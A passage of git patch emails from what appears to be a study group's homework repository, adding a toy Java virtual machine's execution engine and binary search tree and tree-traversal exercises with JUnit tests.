 	}
 	
 	public void execute(Method mainMethod){
-		
-		
+		//为Main函数创建一个函数帧
+		StackFrame mainFrame = StackFrame.create(mainMethod);
+		//将函数帧压入栈中
+		stack.push(mainFrame);
+
+		//不断的从函数帧栈中取帧来执行
+		while(!stack.isEmpty()){
+			StackFrame currentFrame = stack.peek();
+			ExecutionResult executionResult = currentFrame.execute();
+
+			if(executionResult.isPauseAndRunNewFrame()){
+				//如果函数帧在执行过程中调用了其他的方法，则开启一个新的函数帧，并压入栈中
+				Method nextMethod = executionResult.getNextMethod();
+				StackFrame nextFrame = StackFrame.create(nextMethod);
+
+				//为新的函数帧设置回调
+				nextFrame.setCallerFrame(currentFrame);
+				//将参数传递给新的函数
+				setupFunctionCallParams(currentFrame,nextFrame);
+
+				stack.push(nextFrame);
+			}else{
+				//否则此函数帧执行完毕，弹出
+				stack.pop();
+			}
+		}
 		
 	}
 	
 	
 	
 	private void setupFunctionCallParams(StackFrame currentFrame,StackFrame nextFrame) {
-		
-		
+
+		Method nextMethod = nextFrame.getMethod();
+
+		List<String> paramList = nextMethod.getParameterList();
+
+		//加上1 是因为要把this也传递过去
+		int paramNum = paramList.size() + 1;
+
+		List<JavaObject> values = new ArrayList<JavaObject>();
+
+		//把当前函数帧操作数栈的前几个值复制给新的函数帧，相当于传递方法的参数
+		//数据结构知识：从栈中取出栈顶的x个元素
+		while(paramNum>0){
+			values.add(currentFrame.getOprandStack().pop());
+			paramNum --;
+		}
+		//数据结构知识：  把一个列表倒序排列
+		List<JavaObject> params = new ArrayList<JavaObject>();
+
+		for(int i=values.size()-1; i>=0 ;i--){
+			params.add(values.get(i));
+		}
+		nextFrame.setLocalVariableTable(params);
 		
 	}
 	
diff --git a/group24/798277403/src/mini_jvm/engine/MethodArea.java b/group24/798277403/src/mini_jvm/engine/MethodArea.java
index fd43904312..382394f965 100644
--- a/group24/798277403/src/mini_jvm/engine/MethodArea.java
+++ b/group24/798277403/src/mini_jvm/engine/MethodArea.java
@@ -9,6 +9,7 @@
 import java.util.Map;
 
 
+
 public class MethodArea {
 	
 	public static final MethodArea instance = new MethodArea();
@@ -46,6 +47,7 @@ public  ClassFile findClassFile(String className){
 			return map.get(className);
 		}
 		// 看来该class 文件还没有load过
+		System.out.println("load class");
 		ClassFile clzFile = this.clzLoader.loadClass(className);
 		
 		map.put(className, clzFile);
@@ -53,17 +55,29 @@ public  ClassFile findClassFile(String className){
 		return clzFile;
 		
 	}
-	
-	
+
+	//根据方法的名称和描述符从方法区获取方法
 	public Method getMethod(String className, String methodName, String paramAndReturnType){
-		
-		return null;
+		ClassFile classFile = this.findClassFile(className);
+		Method m = classFile.getMethod(methodName,paramAndReturnType);
+		if(m==null){
+			throw new RuntimeException("method can't be found : \n"
+					+ "class: " + className
+					+ "method: " + methodName
+					+ "paramAndReturnType: " + paramAndReturnType);
+		}
+		return m;
 	}
 	
-	
+	//根据类中方法的符号引用从方法区获取方法
 	public Method getMethod(MethodRefInfo methodRef){
-		
-		return null;
-			
+		ClassFile clz = this.findClassFile(methodRef.getClassName());
+
+		Method m = clz.getMethod(methodRef.getMethodName(), methodRef.getParamAndReturnType());
+
+		if(m == null){
+			throw new RuntimeException("method can't be found : " + methodRef.toString());
+		}
+		return m;
 	}
 }
diff --git a/group24/798277403/src/mini_jvm/engine/MiniJVM.java b/group24/798277403/src/mini_jvm/engine/MiniJVM.java
index 6781fed5ad..75a78207f4 100644
--- a/group24/798277403/src/mini_jvm/engine/MiniJVM.java
+++ b/group24/798277403/src/mini_jvm/engine/MiniJVM.java
@@ -10,20 +10,22 @@
 public class MiniJVM {
 	
 	public void run(String[]classPaths , String className) throws FileNotFoundException, IOException{
-		
+
+		//装载类
 		ClassFileLoader loader = new ClassFileLoader();
 		for(int i=0;i<classPaths.length ; i++){
 			loader.addClassPath(classPaths[i]);
 		}
-		
+
+		//生成单例的方法区，并将类信息装载到方法区
 		MethodArea methodArea= MethodArea.getInstance();
-		
 		methodArea.setClassFileLoader(loader);
 		
 		ExecutorEngine engine = new ExecutorEngine();
 		
 		className = className.replace(".", "/");
-		
+
+		//根据className执行其Main方法
 		engine.execute(methodArea.getMainMethod(className));
 	}
 	
diff --git a/group24/798277403/src/mini_jvm/engine/StackFrame.java b/group24/798277403/src/mini_jvm/engine/StackFrame.java
index 0068ae4a98..5245da5a0a 100644
--- a/group24/798277403/src/mini_jvm/engine/StackFrame.java
+++ b/group24/798277403/src/mini_jvm/engine/StackFrame.java
@@ -8,6 +8,10 @@
 import java.util.Stack;
 
 
+/**
+ * 函数帧
+ * 包含操作数栈，返回值，局部变量表，常量池引用
+ */
 public class StackFrame {
 	
 	private List<JavaObject> localVariableTable = new ArrayList<JavaObject>();
@@ -54,7 +58,6 @@ public Stack<JavaObject> getOprandStack(){
 	}
 	
 	public int getNextCommandIndex(int offset){
-		
 		ByteCodeCommand[] cmds = m.getCodeAttr().getCmds();
 		for(int i=0;i<cmds.length; i++){
 			if(cmds[i].getOffset() == offset){
@@ -65,8 +68,48 @@ public int getNextCommandIndex(int offset){
 	}
 	
 	public ExecutionResult execute(){
-		return null;
-		
+
+		ByteCodeCommand [] cmds = m.getCmds();
+
+		//执行字节码指令
+		while(index<cmds.length){
+
+			ExecutionResult result = new ExecutionResult();
+			//缺省值是执行下一条命令
+			result.setNextAction(ExecutionResult.RUN_NEXT_CMD);
+
+			System.out.println(cmds[index].toString());
+
+			//执行字节码指令
+			cmds[index].execute(this,result);
+
+			if(result.isRunNextCmd()){
+				//执行完一条再执行下面一条
+				index++;
+			}
+			else if(result.isExitCurrentFrame()){
+				//退出当前栈帧
+				return result;
+			}
+			else if(result.isPauseAndRunNewFrame()){
+				//暂停当前栈帧的执行， 创建新的栈帧
+				index++;
+				return result;
+			}
+			else if(result.isJump()){
+				//跳转到另外一行指令去执行
+				int offset = result.getNextCmdOffset();
+				this.index = getNextCommandIndex(offset);
+			} else{
+				index++;
+			}
+
+		}
+
+		//当前StackFrmae的指令全部执行完毕，可以退出了
+		ExecutionResult result = new ExecutionResult();
+		result.setNextAction(ExecutionResult.EXIT_CURRENT_FRAME);
+		return result;
 	}
 
 	
diff --git a/group24/798277403/src/mini_jvm/loader/ClassFileParser.java b/group24/798277403/src/mini_jvm/loader/ClassFileParser.java
index fad2e9583e..7d6ef52b3e 100644
--- a/group24/798277403/src/mini_jvm/loader/ClassFileParser.java
+++ b/group24/798277403/src/mini_jvm/loader/ClassFileParser.java
@@ -16,34 +16,42 @@ public ClassFile parse(byte[] codes) {
 		ClassFile classFile = new ClassFile();
 		ByteCodeIterator iter = new ByteCodeIterator(codes);
 		//1 先解析魔数
+		System.out.println("Parse MagicNumber!");
 		String magicNumber = iter.nextU4ToHexString();
 		if(!magicNumber.equals("cafebabe")){
 			return null;
 		}
 
 		//2 解析次版本号 主版本号
+		System.out.println("Parse MinorVersion and MajorVersion !");
 		classFile.setMinorVersion(iter.nextU2ToInt());
 		classFile.setMajorVersion(iter.nextU2ToInt());
 
 		//3 解析常量池
+		System.out.println("Parse ConstantPool!");
 		ConstantPool constantPool = parseConstantPool(iter);
 		classFile.setConstPool(constantPool);
 
 		//4 解析访问标志
+		System.out.println("Parse AccessFlag!");
 		AccessFlag accessFlag = parseAccessFlag(iter);
 		classFile.setAccessFlag(accessFlag);
 
 		//5 解析类索引，父类索引，接口索引
+		System.out.println("Parse ClassInfex!");
 		ClassIndex classIndex = parseClassInfex(iter);
 		classFile.setClassIndex(classIndex);
 
 		//6 解析接口
+		System.out.println("Parse Interfaces!");
 		parseInterfaces(iter);
 
 		//7 解析字段
+		System.out.println("Parse Fileds!");
 		parseFileds(classFile, iter);
 
 		//8 解析方法
+		System.out.println("Parse Methods!");
 		parseMethods(classFile, iter);
 
 		return classFile;
@@ -140,7 +148,7 @@ private ConstantPool parseConstantPool(ByteCodeIterator iter) {
 	private void parseInterfaces(ByteCodeIterator iter) {
 		int interfaceCount = iter.nextU2ToInt();
 
-		System.out.println("interfaceCount:" + interfaceCount);
+		//System.out.println("interfaceCount:" + interfaceCount);
 
 		// TODO : 如果实现了interface, 这里需要解析
 	}
diff --git a/group24/798277403/src/mini_jvm/method/Method.java b/group24/798277403/src/mini_jvm/method/Method.java
index f7be585bb4..1b89455100 100644
--- a/group24/798277403/src/mini_jvm/method/Method.java
+++ b/group24/798277403/src/mini_jvm/method/Method.java
@@ -9,6 +9,8 @@
 import mini_jvm.constant.UTF8Info;
 import mini_jvm.loader.ByteCodeIterator;
 
+import java.util.ArrayList;
+import java.util.List;
 
 
 public class Method {
@@ -89,4 +91,63 @@ public static Method parse(ClassFile clzFile, ByteCodeIterator iter){
 	public ByteCodeCommand[] getCmds() {
 		return this.getCodeAttr().getCmds();
 	}
+
+	private String getParamAndReturnType(){
+		UTF8Info  nameAndTypeInfo = (UTF8Info)this.getClzFile()
+				.getConstantPool().getConstantInfo(this.getDescriptorIndex());
+		return nameAndTypeInfo.getValue();
+	}
+	public List<String> getParameterList(){
+
+		// e.g. (Ljava/util/List;Ljava/lang/String;II)V
+		String paramAndType = getParamAndReturnType();
+
+		int first = paramAndType.indexOf("(");
+		int last = paramAndType.lastIndexOf(")");
+		// e.g. Ljava/util/List;Ljava/lang/String;II
+		String param = paramAndType.substring(first+1, last);
+
+		List<String> paramList = new ArrayList<String>();
+
+		if((null == param) || "".equals(param)){
+			return paramList;
+		}
+
+		while(!param.equals("")){
+
+			int pos = 0;
+			// 这是一个对象类型
+			if(param.charAt(pos) == 'L'){
+
+				int end = param.indexOf(";");
+
+				if(end == -1){
+					throw new RuntimeException("can't find the ; for a object type");
+				}
+				paramList.add(param.substring(pos+1,end));
+
+				pos = end + 1;
+
+			}
+			else if(param.charAt(pos) == 'I'){
+				// int
+				paramList.add("I");
+				pos ++;
+
+			}
+			else if(param.charAt(pos) == 'F'){
+				// float
+				paramList.add("F");
+				pos ++;
+
+			} else{
+				throw new RuntimeException("the param has unsupported type:" + param);
+			}
+
+			param = param.substring(pos);
+
+		}
+		return paramList;
+
+	}
 }
diff --git a/group24/798277403/src/mini_jvm/test/ClassFileloaderTest.java b/group24/798277403/src/mini_jvm/test/ClassFileloaderTest.java
index c80e6e5c50..89f20b6ded 100644
--- a/group24/798277403/src/mini_jvm/test/ClassFileloaderTest.java
+++ b/group24/798277403/src/mini_jvm/test/ClassFileloaderTest.java
@@ -31,7 +31,7 @@ public class ClassFileloaderTest {
 	static {
 		ClassFileLoader loader = new ClassFileLoader();
 		loader.addClassPath(path2);
-		String className = "EmployeeV1";
+		String className = "com.coderising.jvm.test.EmployeeV1";
 
 		clzFile = loader.loadClass(className);
 		//clzFile.print();
@@ -63,22 +63,22 @@ public void testClassPath(){
 	public void testClassFileLength() {		
 		
 		ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path3);
+		loader.addClassPath(path2);
 		
-		String className = "week4.test.EmployeeV1";
+		String className = "com.coderising.jvm.test.EmployeeV1";
 		
 		byte[] byteCodes = loader.readBinaryCode(className);
 		
 		// 注意：这个字节数可能和你的JVM版本有关系， 你可以看看编译好的类到底有多大
-		Assert.assertEquals(1030, byteCodes.length);
+		Assert.assertEquals(1056, byteCodes.length);
 		
 	}
 
     @Test	
 	public void testMagicNumber(){
     	ClassFileLoader loader = new ClassFileLoader();
-		loader.addClassPath(path3);
-		String className = "week4.test.EmployeeV1";
+		loader.addClassPath(path2);
+		String className = "com.coderising.jvm.test.EmployeeV1";
 		byte[] byteCodes = loader.readBinaryCode(className);
 		byte[] codes = new byte[]{byteCodes[0],byteCodes[1],byteCodes[2],byteCodes[3]};
 		
diff --git a/group24/798277403/src/mini_jvm/test/MiniJVMTest.java b/group24/798277403/src/mini_jvm/test/MiniJVMTest.java
new file mode 100644
index 0000000000..ab12618bd3
--- /dev/null
+++ b/group24/798277403/src/mini_jvm/test/MiniJVMTest.java
@@ -0,0 +1,28 @@
+package mini_jvm.test;
+
+import mini_jvm.engine.MiniJVM;
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+
+public class MiniJVMTest {
+	
+	static final String PATH = "C:\\Users\\zhouliang\\Desktop\\mycoding\\";
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testMain() throws Exception{
+		String[] classPaths = {PATH};
+		MiniJVM jvm = new MiniJVM();
+		jvm.run(classPaths, "EmployeeV1");
+		
+	}
+
+}

From 027f7f259607529f40c4c752dac69f14d69060e0 Mon Sep 17 00:00:00 2001
From: onlyliuxin <14703250@qq.com>
Date: Mon, 15 May 2017 10:09:05 +0800
Subject: [PATCH 260/262] =?UTF-8?q?JVM=20=E4=B8=BB=E9=A2=98=EF=BC=9A?=
 =?UTF-8?q?=E7=AC=AC8=E6=AC=A1=E6=95=B0=E6=8D=AE=E7=BB=93=E6=9E=84?=
 =?UTF-8?q?=E4=BD=9C=E4=B8=9A?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../coding/basic/tree/BinarySearchTree.java   | 29 ++++++++
 .../basic/tree/BinarySearchTreeTest.java      | 67 ++++++++++++++++++
 .../com/coding/basic/tree/BinaryTreeNode.java | 70 +++++++++----------
 3 files changed, 131 insertions(+), 35 deletions(-)
 create mode 100644 liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTree.java
 create mode 100644 liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTreeTest.java

diff --git a/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTree.java b/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTree.java
new file mode 100644
index 0000000000..0c05564b15
--- /dev/null
+++ b/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTree.java
@@ -0,0 +1,29 @@
+package com.coding.basic.tree;
+
+public class BinarySearchTree<T extends Comparable> {
+	
+	BinaryTreeNode<T> root;
+	public BinarySearchTree(BinaryTreeNode<T> root){
+		this.root = root;
+	}
+	public BinaryTreeNode<T> getRoot(){
+		return root;
+	}
+	public T findMin(){
+		return null;
+	}
+	public T findMax(){
+		return null;
+	}
+	public int height() {
+	    return -1;
+	}
+	public int size() {
+		return -1;
+	}
+	public void remove(T e){
+		
+	}
+	
+}
+
diff --git a/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTreeTest.java b/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTreeTest.java
new file mode 100644
index 0000000000..3f58b60bc9
--- /dev/null
+++ b/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinarySearchTreeTest.java
@@ -0,0 +1,67 @@
+package com.coding.basic.tree;
+
+import static org.junit.Assert.fail;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+
+
+public class BinarySearchTreeTest {
+	
+	BinarySearchTree<Integer> tree = null;
+	
+	@Before
+	public void setUp() throws Exception {
+		BinaryTreeNode<Integer> root = new BinaryTreeNode<Integer>(6);
+		root.left = new BinaryTreeNode<Integer>(2);
+		root.right = new BinaryTreeNode<Integer>(8);
+		root.left.left = new BinaryTreeNode<Integer>(1);
+		root.left.right = new BinaryTreeNode<Integer>(4);
+		root.left.right.left = new BinaryTreeNode<Integer>(3);
+		tree = new BinarySearchTree<Integer>(root);
+	}
+
+	@After
+	public void tearDown() throws Exception {
+		tree = null;
+	}
+
+	@Test
+	public void testFindMin() {
+		Assert.assertEquals(1, tree.findMin().intValue());
+		
+	}
+
+	@Test
+	public void testFindMax() {
+		Assert.assertEquals(8, tree.findMax().intValue());
+	}
+
+	@Test
+	public void testHeight() {
+		Assert.assertEquals(4, tree.height());
+	}
+
+	@Test
+	public void testSize() {
+		Assert.assertEquals(6, tree.size());
+	}
+
+	@Test
+	public void testRemoveLeaf() {
+		tree.remove(4);
+		BinaryTreeNode<Integer> root= tree.getRoot();
+		Assert.assertEquals(3, root.left.right.data.intValue());
+		
+	}
+	@Test
+	public void testRemoveMiddleNode() {
+		tree.remove(2);
+		BinaryTreeNode<Integer> root= tree.getRoot();
+		Assert.assertEquals(3, root.left.data.intValue());
+		Assert.assertEquals(4, root.left.right.data.intValue());
+	}
+}
diff --git a/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinaryTreeNode.java b/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinaryTreeNode.java
index 467101a16f..e06edbd942 100644
--- a/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinaryTreeNode.java
+++ b/liuxin/data-structure/assignment/src/com/coding/basic/tree/BinaryTreeNode.java
@@ -1,35 +1,35 @@
-package com.coding.basic.tree;
-
-public class BinaryTreeNode<T> {
-	
-	private T data;
-	private BinaryTreeNode<T> left;
-	private BinaryTreeNode<T> right;
-	
-	public BinaryTreeNode(T data){
-		this.data=data;
-	}
-	public T getData() {
-		return data;
-	}
-	public void setData(T data) {
-		this.data = data;
-	}
-	public BinaryTreeNode<T> getLeft() {
-		return left;
-	}
-	public void setLeft(BinaryTreeNode<T> left) {
-		this.left = left;
-	}
-	public BinaryTreeNode<T> getRight() {
-		return right;
-	}
-	public void setRight(BinaryTreeNode<T> right) {
-		this.right = right;
-	}
-	
-	public BinaryTreeNode<T> insert(Object o){
-		return  null;
-	}
-	
-}
+package com.coding.basic.tree;
+
+public class BinaryTreeNode<T> {
+	
+	public T data;
+	public BinaryTreeNode<T> left;
+	public BinaryTreeNode<T> right;
+	
+	public BinaryTreeNode(T data){
+		this.data=data;
+	}
+	public T getData() {
+		return data;
+	}
+	public void setData(T data) {
+		this.data = data;
+	}
+	public BinaryTreeNode<T> getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode<T> left) {
+		this.left = left;
+	}
+	public BinaryTreeNode<T> getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode<T> right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode<T> insert(Object o){
+		return  null;
+	}
+	
+}

From 09932d65ce54ff432dec29b8f34180c0f1216879 Mon Sep 17 00:00:00 2001
From: liangduoduo666666 <798277403@qq.com>
Date: Mon, 15 May 2017 20:03:57 +0800
Subject: [PATCH 261/262] Tenth week homework---zl

---
 .../src/basic/tree/BinaryTreeNode.java        |  35 ++++++
 .../src/basic/tree/BinaryTreeUtil.java        | 119 ++++++++++++++++++
 .../src/basic/tree/BinaryTreeUtilTest.java    |  73 +++++++++++
 .../798277403/src/basic/tree/FileList.java    |  27 ++++
 4 files changed, 254 insertions(+)
 create mode 100644 group24/798277403/src/basic/tree/BinaryTreeNode.java
 create mode 100644 group24/798277403/src/basic/tree/BinaryTreeUtil.java
 create mode 100644 group24/798277403/src/basic/tree/BinaryTreeUtilTest.java
 create mode 100644 group24/798277403/src/basic/tree/FileList.java

diff --git a/group24/798277403/src/basic/tree/BinaryTreeNode.java b/group24/798277403/src/basic/tree/BinaryTreeNode.java
new file mode 100644
index 0000000000..af3f3c817f
--- /dev/null
+++ b/group24/798277403/src/basic/tree/BinaryTreeNode.java
@@ -0,0 +1,35 @@
+package basic.tree;
+
+public class BinaryTreeNode<T> {
+	
+	private T data;
+	private BinaryTreeNode<T> left;
+	private BinaryTreeNode<T> right;
+	
+	public BinaryTreeNode(T data){
+		this.data=data;
+	}
+	public T getData() {
+		return data;
+	}
+	public void setData(T data) {
+		this.data = data;
+	}
+	public BinaryTreeNode<T> getLeft() {
+		return left;
+	}
+	public void setLeft(BinaryTreeNode<T> left) {
+		this.left = left;
+	}
+	public BinaryTreeNode<T> getRight() {
+		return right;
+	}
+	public void setRight(BinaryTreeNode<T> right) {
+		this.right = right;
+	}
+	
+	public BinaryTreeNode<T> insert(Object o){
+		return  null;
+	}
+	
+}
diff --git a/group24/798277403/src/basic/tree/BinaryTreeUtil.java b/group24/798277403/src/basic/tree/BinaryTreeUtil.java
new file mode 100644
index 0000000000..f4d666c335
--- /dev/null
+++ b/group24/798277403/src/basic/tree/BinaryTreeUtil.java
@@ -0,0 +1,119 @@
+package basic.tree;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Stack;
+
+public class BinaryTreeUtil {
+	/**
+	 * 用递归的方式实现对二叉树的前序遍历， 需要通过BinaryTreeUtilTest测试
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> preOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		prevAdd(root,result);
+		return result;
+	}
+	private static <T> void prevAdd(BinaryTreeNode<T> node,List<T> result){
+		if(node!=null){
+			result.add(node.getData());
+			if(node.getLeft()!=null){
+				prevAdd(node.getLeft(),result);
+			}
+			if(node.getRight()!=null){
+				prevAdd(node.getRight(),result);
+			}
+		}
+	}
+
+	/**
+	 * 用递归的方式实现对二叉树的中遍历
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> inOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		inOrderAdd(root,result);
+		return result;
+	}
+	private static <T> void inOrderAdd(BinaryTreeNode<T> node,List<T> result){
+		if(node!=null){
+			if(node.getLeft()!=null){
+				inOrderAdd(node.getLeft(),result);
+			}
+			result.add(node.getData());
+			if(node.getRight()!=null){
+				inOrderAdd(node.getRight(),result);
+			}
+		}
+	}
+
+	/**
+	 * 用递归的方式实现对二叉树的后遍历
+	 * 
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> postOrderVisit(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		postOrderAdd(root,result);
+		return result;
+	}
+	private static <T> void postOrderAdd(BinaryTreeNode<T> node,List<T> result){
+		if(node!=null){
+			if(node.getLeft()!=null){
+				postOrderAdd(node.getLeft(),result);
+			}
+			if(node.getRight()!=null){
+				postOrderAdd(node.getRight(),result);
+			}
+			result.add(node.getData());
+		}
+	}
+	/**
+	 * 用非递归的方式实现对二叉树的前序遍历
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> preOrderWithoutRecursion(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		Stack<BinaryTreeNode<T>> stack = new Stack<>();
+		while(!stack.isEmpty() || root!=null){
+			//先压入所有左节点，在压入前访问
+			while(root!=null){
+				result.add(root.getData());
+				stack.push(root);
+				root = root.getLeft();
+			}
+			//左节点压入完后压入右节点
+			if(!stack.isEmpty()){
+				root = stack.pop();
+				root = root.getRight();
+			}
+		}
+		return result;
+	}
+	/**
+	 * 用非递归的方式实现对二叉树的中序遍历
+	 * @param root
+	 * @return
+	 */
+	public static <T> List<T> inOrderWithoutRecursion(BinaryTreeNode<T> root) {
+		List<T> result = new ArrayList<T>();
+		Stack<BinaryTreeNode<T>> stack = new Stack<>();
+		while(!stack.isEmpty() || root!=null){
+			while(root!=null){
+				stack.push(root);
+				root = root.getLeft();
+			}
+			if(!stack.isEmpty()){
+				root = stack.pop();
+				result.add(root.getData());
+				root = root.getRight();
+			}
+		}
+		return result;
+	}
+	
+}
diff --git a/group24/798277403/src/basic/tree/BinaryTreeUtilTest.java b/group24/798277403/src/basic/tree/BinaryTreeUtilTest.java
new file mode 100644
index 0000000000..daa057329c
--- /dev/null
+++ b/group24/798277403/src/basic/tree/BinaryTreeUtilTest.java
@@ -0,0 +1,73 @@
+package basic.tree;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.List;
+
+
+
+public class BinaryTreeUtilTest {
+
+	BinaryTreeNode<Integer> root = null;
+	@Before
+	public void setUp() throws Exception {
+		root = new BinaryTreeNode<Integer>(1);
+		root.setLeft(new BinaryTreeNode<Integer>(2));
+		root.setRight(new BinaryTreeNode<Integer>(5));
+		root.getLeft().setLeft(new BinaryTreeNode<Integer>(3));
+		root.getLeft().setRight(new BinaryTreeNode<Integer>(4));
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testPreOrderVisit() {
+		
+		List<Integer> result = BinaryTreeUtil.preOrderVisit(root);
+		Assert.assertEquals("[1, 2, 3, 4, 5]", result.toString());
+		
+		
+	}
+	@Test
+	public void testInOrderVisit() {
+		
+		
+		List<Integer> result = BinaryTreeUtil.inOrderVisit(root);
+		Assert.assertEquals("[3, 2, 4, 1, 5]", result.toString());		
+		
+	}
+	
+	@Test
+	public void testPostOrderVisit() {
+		List<Integer> result = BinaryTreeUtil.postOrderVisit(root);
+		Assert.assertEquals("[3, 4, 2, 5, 1]", result.toString());		
+		
+	}
+	
+	
+	@Test
+	public void testInOrderVisitWithoutRecursion() {
+		BinaryTreeNode<Integer> node = root.getLeft().getRight();
+		node.setLeft(new BinaryTreeNode<Integer>(6));
+		node.setRight(new BinaryTreeNode<Integer>(7));
+		
+		List<Integer> result = BinaryTreeUtil.inOrderWithoutRecursion(root);
+		Assert.assertEquals("[3, 2, 6, 4, 7, 1, 5]", result.toString());		
+		
+	}
+	@Test
+	public void testPreOrderVisitWithoutRecursion() {
+		BinaryTreeNode<Integer> node = root.getLeft().getRight();
+		node.setLeft(new BinaryTreeNode<Integer>(6));
+		node.setRight(new BinaryTreeNode<Integer>(7));
+		
+		List<Integer> result = BinaryTreeUtil.preOrderWithoutRecursion(root);
+		Assert.assertEquals("[1, 2, 3, 4, 6, 7, 5]", result.toString());		
+		
+	}
+}
diff --git a/group24/798277403/src/basic/tree/FileList.java b/group24/798277403/src/basic/tree/FileList.java
new file mode 100644
index 0000000000..bd0f8e1740
--- /dev/null
+++ b/group24/798277403/src/basic/tree/FileList.java
@@ -0,0 +1,27 @@
+package basic.tree;
+
+import java.io.File;
+
+/**
+ * 给定一个目录，递归的列出下面所有的子目录和文件
+ */
+public class FileList {
+	public static void list(File f) {
+		if(f.isDirectory()){
+			File[] files = f.listFiles();
+			for(File file : files){
+				if(file.isDirectory()){
+					System.out.println(file.getName());
+					list(file);
+				}else{
+					System.out.println(file.getName());
+				}
+			}
+		}
+	}
+
+	public static void main(String[] args) {
+		File f = new File("C:\\Users\\zhouliang\\Desktop\\其他");
+		list(f);
+	}
+}

From 6772a8c0887134bd32bb94ab34b08c275701f861 Mon Sep 17 00:00:00 2001
From: DonaldY <448641125@qq.com>
Date: Mon, 15 May 2017 20:53:42 +0800
Subject: [PATCH 262/262] datastructure finished

---
 .../donaldy/basic/tree/BinarySearchTree.java  | 138 ++++++++++++++++++
 .../basic/tree/BinarySearchTreeTest.java      |  67 +++++++++
 2 files changed, 205 insertions(+)
 create mode 100644 group24/448641125/src/com/donaldy/basic/tree/BinarySearchTree.java
 create mode 100644 group24/448641125/src/com/donaldy/basic/tree/BinarySearchTreeTest.java

diff --git a/group24/448641125/src/com/donaldy/basic/tree/BinarySearchTree.java b/group24/448641125/src/com/donaldy/basic/tree/BinarySearchTree.java
new file mode 100644
index 0000000000..639db1c01d
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/tree/BinarySearchTree.java
@@ -0,0 +1,138 @@
+package com.donaldy.basic.tree;
+
+import java.util.List;
+
+public class BinarySearchTree<T extends Comparable> {
+	
+	BinaryTreeNode<T> root;
+
+	public BinarySearchTree(BinaryTreeNode<T> root){
+
+		this.root = root;
+
+	}
+
+	public BinaryTreeNode<T> getRoot(){
+
+		return root;
+
+	}
+
+	public T findMin(){
+
+		if (this.root == null) {
+			throw new NullPointerException();
+		}
+
+		T minx = this.root.getData();
+
+		List<T> list = BinaryTreeUtil.inOrderVisit(this.root);
+
+		for (T data : list) {
+			if (data.compareTo(minx) < 0) {
+				minx = data;
+			}
+		}
+
+		return minx;
+	}
+
+	public T findMax(){
+		if (this.root == null) {
+			throw new NullPointerException();
+		}
+
+		T maxn = this.root.getData();
+
+		List<T> list = BinaryTreeUtil.inOrderVisit(this.root);
+
+		for (T data : list) {
+			if (data.compareTo(maxn) > 0) {
+				maxn = data;
+			}
+		}
+
+		return maxn;
+
+	}
+
+	public int height() {
+		if (this.root == null) {
+			throw new NullPointerException();
+		}
+
+		int height = treeHeight(this.root);
+
+	    return height;
+	}
+
+	private int treeHeight(BinaryTreeNode<T> node) {
+
+		if (node == null)
+			return 0;
+
+		return Math.max(treeHeight(node.getLeft()), treeHeight(node.getRight())) + 1;
+
+	}
+
+	public int size() {
+
+		List<T> list = BinaryTreeUtil.inOrderVisit(this.root);
+
+		return list.size();
+	}
+
+	public void remove(T e){
+
+		removeNode(e, this.root);
+		
+	}
+
+	private BinaryTreeNode removeNode(T e, BinaryTreeNode node) {
+		if (this.root == null) {
+			throw new NullPointerException();
+		}
+
+		//找子树
+		if (e.compareTo(node.getData()) < 0) {
+			node.setLeft(removeNode(e, node.getLeft()));
+		}
+		else if (e.compareTo(node.getData()) > 0) {
+			node.setRight(removeNode(e, node.getRight()));
+		}
+		else {
+			//删除
+			if (node.getLeft() != null && node.getRight() != null) {
+				BinaryTreeNode n = findMinNode(node.getRight());
+				node.setData(n.getData());
+				node.setRight(removeNode((T) node.getData(), node.getRight()));
+			}
+			else {
+				BinaryTreeNode n = node;
+				if (node.getLeft() == null) {
+					node = node.getRight();
+				}
+				else if (node.getRight() == null) {
+					node = node.getLeft();
+				}
+			}
+		}
+		return node;
+
+	}
+
+	private BinaryTreeNode findMinNode(BinaryTreeNode node) {
+
+		if (node == null) {
+			return null;
+		}
+
+		if (node.getLeft() == null) {
+			return node;
+		}
+
+		return findMinNode(node.getLeft());
+	}
+
+}
+
diff --git a/group24/448641125/src/com/donaldy/basic/tree/BinarySearchTreeTest.java b/group24/448641125/src/com/donaldy/basic/tree/BinarySearchTreeTest.java
new file mode 100644
index 0000000000..fc8ff1092c
--- /dev/null
+++ b/group24/448641125/src/com/donaldy/basic/tree/BinarySearchTreeTest.java
@@ -0,0 +1,67 @@
+package com.donaldy.basic.tree;
+
+import static org.junit.Assert.fail;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
